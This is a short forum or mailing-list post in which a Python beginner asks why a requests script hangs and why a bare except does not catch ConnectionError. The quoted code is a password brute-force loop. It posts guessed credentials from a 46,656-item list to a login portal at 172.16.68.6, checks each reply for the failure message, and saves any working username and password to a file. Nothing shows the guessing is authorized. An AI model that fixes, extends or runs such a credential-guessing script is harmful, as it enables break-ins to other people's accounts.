ConnectionError handling problem

[shiva upreti]

I am learning python. I wrote a script using requests module.
The scripts runs fine for sometime, but after a while it hangs. When I press 
CTRL+C it shows ConnectionError even though I have included exception handling.
I am not sure as to why it cant handle ConnectionError when the script runs for 
a long time.

This is a part(causing issues) of the script I am running:

while(k<46656):
                j=res[k]
                url="http://172.16.68.6:8090/login.xml";     
                query_args = {'mode':'191', 'username':str(i), 
'password':str(j), 'a':'1442397582010', 'producttype':'0'}
                
                try:
                        r=requests.post(url, data=query_args)
                except:
                        print "Connection error"
                        time.sleep(30)
                        continue
                    
                html=r.text
                if(len(html) < 10):
                        continue

                if("The system could not log you on" not in html):
                        print "hello"
                        filehandle=open("ids", "a")
                        filehandle.write(str(i)+'\n')
                        filehandle.write(str(j)+'\n')
                        filehandle.close()
                        break
                
                k=k+1

Any help will be highly appreciated.
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